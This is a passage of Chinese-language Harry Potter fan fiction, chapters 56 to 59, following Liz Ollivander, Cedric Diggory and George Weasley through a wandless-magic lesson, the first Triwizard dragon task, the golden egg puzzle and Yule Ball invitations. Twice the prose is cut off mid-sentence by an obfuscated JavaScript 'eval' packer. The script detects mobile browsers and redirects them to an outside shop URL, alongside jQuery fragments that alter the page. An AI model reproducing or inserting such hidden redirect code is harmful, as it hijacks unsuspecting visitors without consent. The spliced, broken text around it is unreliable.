“魔杖是一种魔力引导工具,实际上人的身体也同时具有生产魔力与让魔力通过的两种功能,所以魔杖与人体的契合度越高,使用魔咒的精度才会越高,无杖魔法本质就是把人自己看作是没有引导作用的魔杖让魔力流向目标……” 乔治摸着手里包装好的一块黄油饼干,不由自主停下和弗雷德的对话去听她的声音,像这样说着长篇大论的莉兹语速总是不急不忙的,永远都来得及让周围的大家记下答案里的关键词,他回想起先前她在他们的秘密基地里一脸认真计算着每一种材料的剂量,她耐心地询问制作方法的每一步,而后微微蹙眉标注出数字,得到最终的结果时候她放松地一笑,只是那笑容转瞬即逝,眨眼间她又变回了平时的模样——冷淡的表情、古板的语调。 “我们给小古板女士分一块饼干怎么样?”弗雷德拿过他手里的饼干,“试试看效果。” “她不可能上当的。”乔治一把抢回来。 “以前不会,可是我们已经很久没有捉弄过她了,”弗雷德笑笑,“她肯定会放松警惕。” “你试试,我还是赌她不会。”乔治把饼干塞到弗雷德口袋里。 莉兹几乎说完了一整个章节的内容,此时弗立维教授才满意地抬手叫停:“完全正确,奥利凡德小姐,拉文克劳加三分!” 他又看了一眼还在窃窃私语的双胞胎:“其实每个巫师在系统学习施咒之前或多或少都有过差不多的经历,我们通常把这种现象称之为显露出魔法能力,而非使用魔法。我们这堂课就是了解一下原理,至于能否成功控制,就得看大家的练习了。” 接下来的课程中,弗立维教授让大家尝试着不使用魔杖使用一些初级魔咒,悬浮咒、禁锢咒或是开锁咒,当然也可以是无声咒或是修复咒这类的,最好是从熟悉的咒语开始。他把能上锁的木盒子,还有会发出响声的闹钟发给学生们挨个儿练习,心不在焉的莉兹盯着闹钟里弹出来的木质小鸟好一阵子才勉强让安静了几秒钟,只见它扑闪着翅膀叫唤了几下没了声音,一眨眼又发出了咯哒咯哒的怪声,她只好掏出魔杖无可奈何地对着闹钟念了一句“恢复如初”。 这还算是好的,塞德里克直接炸掉了一个木盒子,裂开的锁飞出去砸中了前排男生的后脑勺,他连连说着抱歉,后面的双胞胎便咧开嘴乐了,毕竟能同时看见完美先生和小古板女士失误的场景是多么珍贵的经历啊。 “真是反常……”莉兹转过身去伏在课桌上,“你怎么了?” “没什么,”塞德里克吞吞吐吐,而后压低了声音凑近说,“你知道我今天为什么迟到吗?” 莉兹抬眼示意他继续说。 “我觉得有点儿对不起波特,他特地来提醒我第一个项目是火龙,但我知道了这么久也没想过要告诉他。”塞德里克轻叹一口气,“内疚的滋味儿不太好。” 很显然这种想法触动不了莉兹,她眨了眨银白色的眼睛,神情淡漠地反问道:“哦,是吗,那杰姬他们成天戴着那个愚蠢徽章的时候怎么不见你发挥正义感呢,真正的勇士塞德里克·迪戈里?” 而塞德里克似乎也习惯了莉兹冷嘲热讽的语气,他轻轻耸肩回说:“反正我总得想办法报答他。” “完美先生又要当好人了,”莉兹笑笑,“你与其说在这里内疚,还不如把所有的‘波特臭大粪’都改成‘波特最棒’呢。” “这会有用吗?”塞德里克微微摇头。 “总比没有好,”莉兹接着又小声嘀咕着,“但如果是我,赢比赛比较重要。” 言下之意,别多想了好好参赛吧。 下课铃及时响了起来,莉兹好心地帮塞德里克破掉的新书包施了一个修复咒,只不过却故意留了一点痕迹,让背包的侧面看起来像是有一道闪电似的。 塞德里克低头看着“闪电”,隐约觉得女孩是在用这种方式挖苦自己,但好脾气的他照单全收了,把桌上的羊皮纸和课本一股脑扔进了包里,跟同学院的朋友走出教室时他再次和他们强调了一遍,他是真的认为那个徽章很不礼貌,希望至少赫奇帕奇的大家不要再戴了。其实他也不知道自己说的话能不能起到效果,朋友们打着哈哈说只是开个玩笑,然后当着他的面摘下了徽章,接着便揽过他的肩膀几个人打闹着走下了楼梯。 磨蹭到最后才离开的莉兹听见了塞德里克的发言,笑着望向他们的背影,心里念叨着好孩子果然就是好孩子,正要抬脚向前走时,来自身后两旁的呼气声惊得她踉跄了两步,连忙揉了揉自己的耳朵转过身去,乔治和弗雷德一脸得逞地两手环抱站在原地,两人相视一笑,还对着她抬了抬下巴。 “原来小古板的女士的耳朵也是弱点。”弗雷德调侃道。 “我倒想知道谁的耳朵不是弱点。”莉兹眼珠子一翻,有些不满地抿了抿嘴。 “我们的?”乔治弯下腰来,转头将左边的耳朵贴过来,“您随意。” 毫不客气地伸手一捏他的耳垂,用了些力气向下一扯,莉兹凑在他耳边:“把你们的东西收回去。” 说着将弗雷德刚刚丢进自己背包里饼干放在了乔治的手上,狠狠一拍他的手心又继续说道:“上次格雷厄姆变成了金丝雀就是你们的杰作吧,少欺负一年级的孩子。” 女孩身上有木料的香气,指尖的热度触碰到耳垂,靠近说话时呼出的热气又打在耳廓上,乔治整个人像触电了一般,瞬间觉得有些口干舌燥,他站直了身子后退半步,等莉兹迈着不紧不慢的步子缓缓走远,他才向弗雷德伸出了手:“我都说了她不会上当的,二十银西可,谢谢。” “好啦好啦,都给你说中了,”弗雷德看见了乔治比头发还红的耳朵,“莉兹的事情怎么可能有你不知道的。” 话说回那个徽章的事情,听闻是几个斯莱特林的学生做出来的,真想不明白是出于什么心态,似乎只要能针对那位波特,他们为塞德里克声援也无所谓,明明以往最不把赫奇帕奇的学生放在眼里的是他们。周二从中午开始就停课了,莉兹暗喜下午不用面对斯内普那张僵硬的臭脸,也不用交上节课布置的长论文作业,她回寝室换了身保暖的衣服,便和秋还有玛丽埃塔一块儿往比赛场地去。她们两个都没有戴过徽章,拉文克劳其他学生也是,所有人保持着学院的风度——从不参与任何争斗,安静地看笑话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487844|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是一路上戴了徽章的斯莱特林学生和赫奇帕奇学生就不在少数了,显然塞德里克的话确实没什么效果,虽说学生主席杰姬已经带头摘了下来,但其他人好像根本不在意,一边喊着“塞德里克加油”,一边按一下徽章让它变成“波特臭大粪”。 在看台找了个空位站定,莉兹觉得自己听见了火龙粗重的呼吸声,她真希望是自己的错觉,因为单单是这样亲耳听到就令人毛骨悚然了,就算她跟塞德里克已经练习了成百上千遍变形咒,他甚至不需要动脑子就可以将一块石头变成一只活蹦乱跳的纽芬兰猎犬,但他们还是没想出用什么办法避免被喷出的火灼伤,熄灭咒总是不太灵光。 “天呐,我好紧张。”秋轻抚着胸口,一直在吸气吐气,声响都快盖过莉兹听见的龙的声音了。 “我的梅林啊我看到了什么,”玛丽埃塔惊叫出声,“第一个项目是火龙!” 随着魔法部的工作人员将项目的内容文字在半空中显示出来,看台上所有人都不约而同倒吸了一口凉气,此起彼伏的惊叹声在第一条龙被拉出笼子的时候瞬间停止,莉兹能感觉到身旁的秋在发抖,她和玛丽埃塔俩人紧紧牵着手,大气都不敢出。那是一条银蓝色的瑞典短鼻龙,底下有结实的铁链绑在它的爪子上,在众人注视下,它大约是有些紧张,警惕地观察了一下周围,然后张开嘴对着上空喷出蓝色的火焰,极高的热度扑面而来,前排学生的巫师帽差点都要烧着了。 场地的边缘站着四位装备完全的巫师,套着防火斗篷和面罩,手举魔杖指着火龙,随时准备控制它,莉兹一眼认出了塞西尔的魔杖,悬着的心多少放下了一些,不管比赛的输赢,至少她知道只要有塞西尔在场,她是不会让任何人陷入危险的。 “让我们欢迎第一位挑战的勇士,塞德里克·迪戈里,他将要面对的是瑞典短鼻龙!”巴格曼先生的声音不知从哪里传来,倒是看不见他的人。 霍格沃茨的学生们集体欢呼着,本以为应该会游刃有余的塞德里克却在走出来时差点被绊了一跤,莉兹攥着衣角也紧张了起来,她在心里催促着说:“塞德,快。” 总算在石块上站稳了的塞德里克掏出魔杖,将离短鼻龙最近的一块石头变成了纽芬兰猎犬,但这次变出来的狗要比先前的都瘦小,一身深棕色的长毛被火龙呼出的热气吹得乱糟糟的。见猎犬被吓得一动不动,塞德里克只好对着狗又施了一个跳舞咒,让它在场地里到处乱奔,直到瑞典短鼻龙离开了它守着的那堆龙蛋和一颗金蛋。 也许是慌张的情况下咒语有效时间不如平时,塞德里克好不容易将金蛋抱在了怀里,就察觉到身后没了追逐的动静,此刻应该一直奔跑的纽芬兰猎犬把头伸进两块石头的缝隙间趴着颤抖,而火龙没了目标便回想起了自己的使命,转头正好与要逃离的塞德里克对上了视线。 下一秒秋的尖叫声把莉兹吓了一跳,好在塞德里克毕竟有着魁地奇找球手的反应速度,他向左一个翻滚躲开了正面袭来的蓝色火焰,但还是不免被余焰灼伤了,莉兹看塞西尔最先站出来挡在塞德里克身前,她先安抚了瑞典短鼻龙,而后打着手势让人带选手去校医院。 倒在一旁的塞德里克站起身,脸颊被烧了一大块,秋担心得几乎要流出眼泪,玛丽埃塔的表情也像是被烧到的人是她似的,只有莉兹终于完全松了一口气,自言自语念到:“活着就行。” 不过那张帅脸,确实可惜了。 57. 旧东西与记忆 还没等最后一位裁判卡卡洛夫给出评分,秋已经穿过人挤人的看台冲向了临时搭建的急救敞篷,莉兹探头看了一眼她急匆匆的身影,轻叹了一口气,两手环抱裹紧了巫师袍,猫着腰不紧不慢地跟了上去。走到一半时她瞥见了卡卡洛夫魔杖上端冒出的数字五,微微皱起眉头摇了摇头。尽管她明白第一个出场的勇士在得分上多少有点吃亏,不过塞德里克根本没有明显失误,这样的分数未免太过分了一些。 “可恶的老家伙。”她自言自语地说着,埋头走路时没顾得上前面,与站在帐篷入口处的老师撞了个正着。 她的一声道歉在对方那颗转来转去的眼珠子注视下仿佛卡在了喉咙似的,穆迪笨重的木制假腿倒是站得稳当,只有莉兹后退了半步,奇怪的响声又从他腰间传来,她的视线不自觉落在那冒出了半根的魔杖上,起先被她压制住的好奇再次爬上了心头,整得她胸口痒痒的。 “哦奥利凡德小姐真是难得冒失,你也快去吧,迪戈里先生可受欢迎了!”穆迪抓过魔杖背在身后,另一只手指了指里面的病床。 本想应声就这么走掉的莉兹,刚要伸手撩开了帘子,最后还是转过身来又走到了穆迪跟前,她悄悄深呼吸了一下,开口问道:“教授,我能看看您的魔杖吗?” 他的假眼突然定住,直直看着莉兹的脸,皱巴巴的脸上出现了一种似笑非笑的表情,莉兹实在不愿承认那是微笑,她也知道自己的请求没头没尾,教授不答应也是很正常的,但一心只想解开谜题的拉文克劳们总有难以想象的固执,她攥紧了拳头,清了清嗓子补充道:“我想那也是爷爷的作品,我很好奇……” 穆迪打断了她的解释,换上了一副说教的口吻:“我第一节课就警告过你们一句话,奥利凡德小姐你还记得我说过什么吗?” 看来是没办法了,莉兹在心里这样想着,接着老老实实地回答了教授的提问:“随时保持警惕。” “一个巫师怎么可能主动交出自己的魔杖,我想奥利凡德小姐不见得是这样轻率的性子。”穆迪说话时,脸上肌肉活动的样子很奇特,他哪怕是用着寻常的语气看起来也异常骇人。 “我很抱歉,穆迪教授。”莉兹似乎是有些“恋恋不舍”地再看了他手里的魔杖一眼,然后逃也似的弯下腰钻进帐篷。 九英寸,雪松木,应该没什么弹性,莉兹现在稍微确定了一些,杖芯不会是龙心腱,更像是独角兽的尾毛,毕竟她意识到若是有了抵抗的声音,龙心腱为杖芯的魔杖会反过来伤害到施咒人。总的来说也不能算是没有收获,她把疑惑又暂时抛到了脑后,朝着病床走近。 那颗比赛中抢下的金蛋被塞德里克紧紧抱在怀里,他的一边面颊被烫出了大块的水泡,肿得腮帮子圆滚滚的,秋眼眶含泪站在一旁,两手扯着脖子里的围巾,小心翼翼询问是不是很痛。而受了伤的完美先生甚至还能在这样的伤势下挤出足够有感染力的笑容,伸出手指擦掉女朋友眼角的泪水。 见此温馨场面,莉兹点点头轻轻一笑,本想悄悄走开,谁料庞弗雷夫人端着一盘子药剂,嘟囔着“这一天天都怎么回事啊”从她身旁走过,那头的俩人便抬头看向了这里。走也不是留也不是,莉兹只好是走过来把总分报给了塞德里克听。 “好了,让我先给迪戈里先生治疗,真不知怎么想的,竟然让学生去斗火龙。”庞弗雷夫人将一些药剂拆开倒进碗状的容器里,几种粉末被搅匀,呈现出黄澄澄的颜色,还咕嘟咕嘟冒着泡,她让塞德里克坐直了面向她,然后丝毫不留情地把那坨液体均匀抹在了他的伤口上。 看他皱眉的样子,疼痛感可想而知,秋坐在床另一边紧紧握着他的手,莉兹则是仿佛幻痛一般倒吸一口凉气,然后说道:“幸好你反应够快,瑞典短鼻龙的蓝色火焰能让你整个人都化成灰。” 秋瞪大了双眼,惊恐地看着莉兹,塞德里克无奈地拍了拍秋的手背,忍着痛给莉兹使了个眼色,意思大抵是“有的事情也不用解释这么详细”,结果莉兹似乎铁了心地要给他添点儿堵,在庞弗雷夫人走之后又继续说:“我猜你的名次最高应该是第二名,卡卡洛夫和巴格曼给的分都不高,你只能在第二个项目拉回来了。” 此时外面爆发了震耳欲聋的欢呼与掌声,而芙蓉·德拉库尔已经结束了挑战,想都不用想,这些声响肯定是送给那位保加利亚猛男的,莉兹连忙打着帮塞德里克打探敌情的名义,将帐篷这点空间都留给了二位情侣,毕竟以秋和塞德里克这俩老好人的脾气,就算真的想单独相处也不会当着莉兹表现出来的。 前两条龙出笼时都还只有四名巫师站在场地边缘,等到中国火球龙被克鲁姆用眼疾咒击中了双眼开始胡乱挣扎的时候,接连又有三四个巫师匆匆走进了场地,无法睁眼的火球龙踩碎了好几枚真正的火龙蛋,莉兹同时注意到了戴着面罩的塞西尔正焦急地在原地踱着步,然而克鲁姆还没能拿到金蛋,比赛没有结束。 塞西尔盯着计时器,在巴格曼按下停止的那一瞬间迅速躲过火球龙的爪子,一个人扑向了那些龙蛋,查理在她身后大喊着小心,接着和其他人一起念出了熄灭咒,五道咒语从不同方向同时打在了中国火球龙身上,只听得哐当一声,这只巨型动物就这样倒下,两个穿着防护服的巫师走过来给它扣上锁链,将它又关进了笼子里。 “一共是四颗,被彻底踩碎的龙蛋,”塞西尔用铁桶将蛋壳碎片收集起来,又举起魔杖将其中一颗蛋谨慎地移出来,“还有一颗只是裂开了一点,尽快拿回基地的话,应该还能保住。” 查理脱了手套走上前接过龙蛋说:“真不敢想象接下来哈利要怎么办,剩下的那小家伙可是最难对付的。” “所以我先前就说过应该带那只澳洲蛋白眼,而不是匈牙利树蜂龙。”一声火龙吼叫激得塞西尔和查理同时打了个冷颤,她已经决定就算是犯规,也要在发现苗头不对的时候插手救波特了,她实在不敢想要是西里斯·布莱克知道了自己明明就在几米之外,却没有救下他的教子,会露出什么样的表情。 塞西尔甚至觉得那位发了狂的教父会让她给波特偿命。 “可是基地圈养的蛋白眼还是幼龙……”查理小声说着。 “那你说的这个小家伙就不是了吗?”塞西尔指着被四名巫师拉出笼子的可怕动物。 “早出生了六个月呢,”此时又是一声龙吼,查理挠了挠后脑勺,“好吧,我也后悔了。” “你先把龙蛋送走吧,这边留给我。”塞西尔轻轻一拍他的后背,然后重新戴上了面罩,紧抓魔杖死盯着场地中央的匈牙利树蜂龙,还有步伐踉跄、神色慌张缓缓走出来的哈利·波特。 临时离开看台的莉兹只能在边角勉强找了个空位,后排站着的全是给波特倒喝彩的斯莱特林的学生们,尤其是几乎倒了一瓶发胶把一头金发梳得发亮的德拉科·马尔福,她对他印象不太好,不论是走后门进魁地奇校队的做法,还是比赛时投机取巧的样子,又或是先前与弗林特一块儿嘲笑自己是米歇尔二代的幼稚举动,都只证明了他和莉兹绝对不是一路人,更何况塞西尔给她讲过巴克比克之所以被处以死刑就是他的爸爸一手造成的,莉兹很难摆出什么好脸色。 强忍不满将自己的毛线帽向下拉了拉,莉兹又用 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知道适可而止的乔治准备收回手,这会儿倒是轮到后面的斯莱特林们开始耍宝了,魁地奇队长格拉哈姆·蒙太看清了莉兹的脸,便从乔治手中拿走了那顶帽子一群人玩起了传接游戏。 发现身旁的莉兹脸色越发阴沉,乔治自认倒霉,心想这次可真是玩过头了,梅林啊太糟糕了,不过他的失落没有延续两秒钟,立刻就跟莉兹站在了统一战线,而还没等他说出一句“抱歉我来补救”,被惹恼了莉兹早已挥动了她的魔杖,帽子瞬间就离开了马尔福的手,直接朝着她这里飞来。 “你们看呐,他做到了!” 从看台另一侧传来的庆贺声打断了此处一触即发的战局,莉兹便趁着这个机会提前离开了场地,一个人生着闷气走回城堡。她抓着那顶失而复得的毛线帽,低头看了它好一会儿,她怎么会不知道这东西看起来有多滑稽呢,伍德戴着的时候像一颗圆滚滚的黄洋葱,可是他摘下帽子戴在自己头上,笨拙又紧张的模样就在自己眼前,摸着现在戴着的这幅耳罩,她心里念着用习惯了的东西怎么会轻易换掉。 “小古板女士!” 身后传来的谁的声音,她转过身,匆忙追上来的乔治脸颊被吹得泛红。 “莉兹,我很抱歉。” 道歉时还知道换个称呼,这人还算值得原谅,莉兹把帽子团起来塞进巫师袍口袋,然后没有直接回应这声对不起,而是开口说:“谢谢你的耳罩,这很暖和。” 乔治愣在原地,平时能言善道的人一下子没了主意,只是看着她早已没了怒气的面庞,低下头不好意思地笑了笑。见他没挪步子,莉兹就一步两步三步走回他面前,接着伸出手,看向他眨了眨眼。 疑惑地同她对视,乔治完全没反应过来她这是在做什么。 “你不是一般惹过我生气都会给我太妃糖或者曲奇吗?”莉兹问,“今天没有带在身上?” 如释重负长舒一口气,乔治把口袋里所有的糖果曲奇都翻了出来,莉兹两只手都拿不下了,于是她把那堆又倒回了他口袋,只从里面拿了一块饼干,刚拆开咬了一口,乔治却像是想起了什么似的大喊:“别吃!” 只是这声提醒还是太迟了,砰地一声,莉兹变成了一只大金丝雀,对着乔治愤怒地喳喳叫。 没过一分钟,那些嫩黄色的羽毛飘落了满地,莉兹瞪着圆圆跑开的乔治·韦斯莱,没有使用魔杖而是咬牙切齿地念出了锁腿咒,之前在课堂上还不能成功使用无杖魔法的她这一回十分精准而有效地击中了施咒目标。 她走过直挺挺躺在地上的男生,微微一笑:“你就等你的好兄弟来搭救吧。” 58. 小古板女士尽力了 当塞德里克顶着那张负伤的俊俏脸蛋回到赫奇帕奇公共休息室时,先是一阵震耳欲聋的掌声与欢呼,而后学生主席杰姬就带头冲过来给了他一个十分有力的拥抱。接下来是球队的队友们和同寝室的同学,最后是低年级的孩子,所有人宛如在玩拥抱接力似的。他甚至怀疑自己脸上的纱布似乎被谁给蹭歪了,因为伤口的下半部分被休息室的壁炉烘得发痒。 厨房的家养小精灵们准备一大桌子的美食佳肴,顾不上庞弗雷夫人交待的那句“饮食清淡”,队友已经拿了一只烤鸡腿塞进了塞德里克嘴里,热腾腾的肉香扑鼻,他真是庆幸自己回来之前把金蛋交给了莉兹,否则在这场狂欢派对结束后,金蛋还能不能保持完好那可真是很难说。 很显然,第一个项目只拿到了第三名这件事对莉兹来说是个不小的打击,尽管塞德里克的第三名是因为克鲁姆与波特并列第一,但她十分后悔自己没能提前想到眼疾咒,只顾着和塞德里克练习熄灭咒和变形咒,况且她又是最不擅长变形咒语的,她觉得自己有点轻敌了,在心里把三强称霸赛当成了一场游戏。 而金蛋的谜题,作为一个拉文克劳,她发誓这一次她必须是第一个破解的人。 其实项目结束当晚,杰姬主动邀请了所有级长们去赫奇帕奇休息室庆祝,除去那几个为波特撑腰的格兰芬多级长,其他人都很兴奋地跟去了,戴维斯见莉兹抱着一个布袋子一声不吭就要溜走,还大声问:“你不是迪戈里最好的朋友吗,不会要去给格兰芬多们庆祝吧?” 这一声把大家的注意力都吸引了过来,莉兹很是冷淡的扫了他一眼,她很想对他说一句:“我去什么地方何必跟戴维斯先生您交待。” 但当下这个场合,她还是换了更礼貌的说法:“这就和您没关系了吧。” 她努力过了。 整个场面安静了两秒钟,厨房里的家养小精灵端着一盘又一盘食物走进赫奇帕奇休息室,打破了门前这一瞬间的气氛,莉兹也因此得了机会成功消失在厨房,她提着金蛋脚步轻快,经过走廊时听见皮皮鬼在喊着“小古板小姐救救乔治”,她轻哼一声不做理睬,只是加快了步伐。 整个学年的魁地奇比赛被取消,平日里本就冷清的训练场办公室就更没有人会来了,她推开门挂好钥匙,先拆开塞西尔今天离校之前送来的便签。 莉兹 小帅哥的变形咒用得很漂亮,我留了一瓶烧伤药膏给你,在海格那里。 下周我还会再来学校,我不相信我对付不了默库斯这条顽固的人鱼。 我猜过两天会下雪了,你记得穿我送给你羊毛外套。 塞西尔 太阳早已落山,城堡外漆黑一片,莉兹想现在不是一个去找海格教授的好时机,还是把这件事留到明天上午的保护神奇动物课好了,那一只被她试验过击昏咒语的炸尾螺不知情况如何了,上一节课时它还浑身冒着火星子在挣扎。既然下周塞西尔还要再来的话,她要让她帮忙把自己看完的一本麻瓜小说的下一卷带来,毕竟今年圣诞节她大概是没机会回家了。至于那件外套,不是莉兹不愿意穿,而是那在月光下闪着亮紫色光芒的羊毛线对于风格低调的她来说确实是太具有挑战性了。 简单写完回信,莉兹把放在椅子上背包打开,从里面拿出了金蛋。好的,她准备好要开始解谜了。 从上到下、从左到右,将整个金蛋观察了一遍,看不出有什么特别的,尖的那头上端有一圈凹槽,应该是金蛋的开关。莉兹用魔杖敲了敲蛋壳,外层镀金,内里空心,作为一种魔法道具来说是十分常规的工艺,不足为奇。只不过金蛋里一定装着什么,她能感知到咒语的存在。 那么打开试试吧,她在心里说着,接着便起身让开几步,抬手挥了挥魔杖,蛋壳裂开瞬间,整间办公室突然被什么可怕的尖叫声填满,凄厉无比,仿佛要穿透人的耳膜,莉兹紧皱眉头迅速将金蛋合上,这刺耳的声音听得她脊背发凉,两腿发麻,她扶着椅子坐下,一脸不解地盯着这颗蛋。 总而言之,下一个项目的线索就在这声尖叫里,莉兹至少确认了一件事。 之后几天,莉兹只要一下课就会躲进办公室里,她已经把图书馆里一切关于魔法世界诡异声响的书全都借了出来,当她搬着厚厚一沓书在书架间穿梭时,总是跟波特在一块儿的那个卷发姑娘无数次向她投来了一种内涵丰富的眼神。莉兹起初没能读懂对方的意思,来回又走了两趟,她终于发现,这姑娘是在观察那些书的书名。 “所以你就不能动动脑子一起想想吗?”莉兹把第二摞书哐当一声放在塞德里克的面前,他正一边写着魔法史作业,一边和秋说说笑笑。莉兹和往常一样抬头去找平斯夫人,而她顾着把围在威克多尔·克鲁姆身边的女生赶走,压根理会不到这个角落在打情骂俏的小情侣。 有时候莉兹真不明白这个看起来脑子里长满了肌肉的魁地奇选手为什么泡图书馆的时间比自己还长。 “我没有偷懒,我看完了这三本,”塞德里克把最边上那堆里最薄的书抽了出来,“很可惜,一无所获。” “我正在看这本,《听声辨物——神奇动物系列》,”秋·张把另一本还算厚的硬皮书推到莉兹面前,“但我也没什么灵感。” 莉兹轻抬眉毛,叹了一口气,露出一副“我就知道不该指望别人”的表情,接过《听声辨物》,飞快地扫了一眼目录,到底是谁编写的书,好歹把神奇动物按界门纲目科属种分个类吧,不然用首字母排序也好啊,这个作者看起来像是调查到哪里就写到哪里似的。 桌子对面的两个人对莉兹的反应丝毫不惊讶,不如说他们很坦然地承认了在动脑筋方面就是莉兹比较厉害,塞德里克还握着拳头摆出“加油”的手势,莉兹只能还击了一个锐利的眼神,然后便翻阅起了借来的书籍。 不远处平斯夫人的努力好像并未见什么成效,在克鲁姆身旁来来去去的女生数量完全没减少,有时还有主动一些的会凑上前去和他打招呼,说英文带着浓烈的口音的迟钝家伙,尝试着让自己的语气不要那么僵硬,但是看来没什么用,因为接连几个女生就这么抽泣着走开了。 说实在的,莉兹觉得克鲁姆这人还挺有礼貌的,至少比其他一些跟斯莱特林们混迹在一块儿的德姆斯特朗的学生们要好相处得多。先前米歇尔下课的新闻刚公开,他就带着那封邀请信过来找了莉兹,他说自己可能更倾向毕业后待在保加利亚国内的俱乐部,或者去德国,他很遗憾不能加入普德米尔。结束谈话前,克鲁姆这木讷的肌肉男还表示了一下对米歇尔·奥利凡德这位前辈的尊敬,莉兹不知道这是他在客套,或是在说真心话。 “你选好舞伴没?”见莉兹托腮盯着克鲁姆出神,塞德里克拿着羽毛笔在她眼前晃了晃。 “一定要参加舞会吗?”不提起这件事还好,一提起这件事莉兹的脑袋就像钻进了几百只虫子似的,挠又挠不到,倒又倒不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚穿过走廊拐到楼梯前,突然有个人影窜了出来,莉兹动作灵敏地后退半步,躲开对方的触碰,然后举起自己沉甸甸的包,抬手就要砸过去,结果听到了来自皮皮鬼的嗤笑声,她再次展现出了自己极佳的反应速度,扯住包带让一袋子重物在半空划了个弧度,最后回到了自己怀里。 “韦斯莱先生,又有何贵干?” 金丝雀饼干事件后,她还没跟乔治说上话,准确是,她拒绝了来自对方的一切示好、求和与道歉,虽然她收下了一大包太妃糖。 “小古板女士总得给我一个弥补的机会吧。”乔治稍稍弯腰朝她走近。 将背包扛到肩上,莉兹用行动表示东西太重了只能听他说两句话,再多就不行了。 “我今天是想问,”乔治顿了顿,看起来似乎有些紧张的样子,“你要跟我一起去舞会吗?” 莉兹的眼睛眨了眨,冷淡地看了他一眼问道:“为什么?” 想过被直接拒绝也想过她会答应,乔治万万没想到她竟然会开口询问理由,他一时间想不出要说些什么,攥着衣角露出了半份慌乱,而皮皮鬼和弗雷德趴在二层的楼梯扶手上向下看着,他可不想在这种时候方寸大乱。 “我听安吉丽娜说你被那个叫维特的人缠了好几天,”乔治深吸一口气,“你用我当挡箭牌就可以。” 她保持着刚刚的表情,又眨了眨眼,眼神里流露出的意思像是“你会有这么好心吗”。 “我真的没有坏心思,我对捣蛋之神发誓。”乔治举起手向她表态。 “那谢谢你的帮忙,”莉兹点了点头,“老师也没有说不能和朋友一起去对吧,这样挺不错的。” 她的嘴角微微上扬,眼里含着笑,可说出话的却让乔治并不是很开心。 59. 如果没有毕业的话 这是圣诞假期开始前最后一个能够去霍格莫德的周六,女生们迫不及待地想要去风雅牌巫师服装店为即将到来的舞会挑选饰品,平日里对此最是热衷的玛丽埃塔按理来说应该一大早就会开始叮铃桄榔地捯饬自己,嘴里念叨着她中意的男孩子,毫不在意自己是不是把整个寝室的人都吵醒了,然后再拉上秋一块儿出门。 然而这天却十分反常,莉兹安逸地睡了半个上午,才在和伍德的约定时间前四十分钟艰难地钻出了被子,即便有足够暖和的柴火,她仍然觉得有莫名的冷风跑进了衣领里,于是莉兹把学院的围巾裹了三圈,包住了大半张脸。大部分三年级以上的学生都是早餐之后便前往了霍格莫德村,所以这时候的拉文克劳塔楼很是安静,她只在下楼梯时碰见了格雷厄姆,他很高兴地同她打招呼,莉兹便把口袋里的甘草棒棒糖分了一个给他。 接着向下走时,她隐约听到公共休息室里传来了抽泣声,这声音很熟悉,大约是她认识的人,放慢了脚步探头一看,本应当在三把扫帚喝黄油啤酒或事在帕笛芙夫人茶馆吃甜点的玛丽埃塔正坐在休息室的沙发上掩面哭泣。旁边坐着的秋·张轻轻抚摸着她的后背,安慰着说:“没关系的。” 莉兹在和伍德的约会与舍友的困境间犹豫了三秒钟,还没踏出第一步她又看到秋回身给自己使了个眼色,然后抬手做了个“走吧”的手势,看来这是不需要她的场合了,因此莉兹踮起脚尖轻悄悄地从她们身后路过,接着迅速地拉开大门奔向城堡外。 匆忙赶到三把扫帚时,伍德和塞德里克已经把杯子里的姜汁汽水和黄油啤酒喝了大半,莉兹见塞德里克还用期待的眼神看着门外,猜测秋大约是来不及给他传信才会给自己使眼色。她在伍德旁边坐下,和脖子里的围巾缠斗了好一会儿都没成功摘下它,正要放弃的时候伍德伸手解开了围巾在脑后打的结,他的手暖和得很,手心贴着后颈,让她莫名感觉到一阵安心。 进门点的一杯热可可刚好送到,莉兹两手握住马克杯取暖,看向塞德里克说:“告诉你一个不好的消息,秋今天应该是没机会过来了。” “果然是这样啊,其实我大概猜到了……”塞德里克眼里闪过半分失落又很快恢复,他把姜汁汽水的瓶盖拿在手里转了好几圈,“我早上听见罗杰说他要跟芙蓉一块儿去舞会。” “你说谁,戴维斯?”幸好莉兹还没来得及低头喝一口热饮,否则她一定会把热可可都喷到塞德里克的脸上,“你是说罗杰·戴维斯邀请到了布斯巴顿的芙蓉·德拉库尔?她跟克鲁姆一块儿去舞会我倒是相信。” “我想你听见我说了什么。”塞德里克耸耸肩,“而且我听说你也找到舞伴了。” “这不重要,你怎么什么都能听到。”莉兹很快结束了谈话。 无法加入在校生话题的毕业生奥利弗·伍德完全不知道他们两个人在打什么哑谜,不过他精准捕捉到了他熟悉的人名,除了戴维斯之外的。 威克多尔·克鲁姆拒绝了由米歇尔·奥利凡德发出的普德米尔联队邀请,这一非官方不公开的招募不知为何泄露给了媒体——魁地奇速报的专栏记者塔尔这一次使用的头版标题是:“毁掉普德米尔的人会是傲慢的她吗?”这期报纸就在欧洲几大联赛即将进入94/95赛季冬歇的前一周发售,因为英联赛没有冬歇,正常进行公开训练的米歇尔显然逃不过被参观训练的魁地奇球迷质问的命运。 伍德原本是想在前两天写给莉兹的信里提这件事的,但是他一想以前发生差不多的事情时她总能比他更早就了解到事情的内情,自己要是再说这些话,只会显得很多余,或者更糟糕,惹她厌烦。 “嘿,奥利弗你在想什么呢?”看来是结束了关于舞伴的讨论,塞德里克拿手在伍德眼前晃了晃。 “克鲁姆。”伍德不假思索地脱口而出。 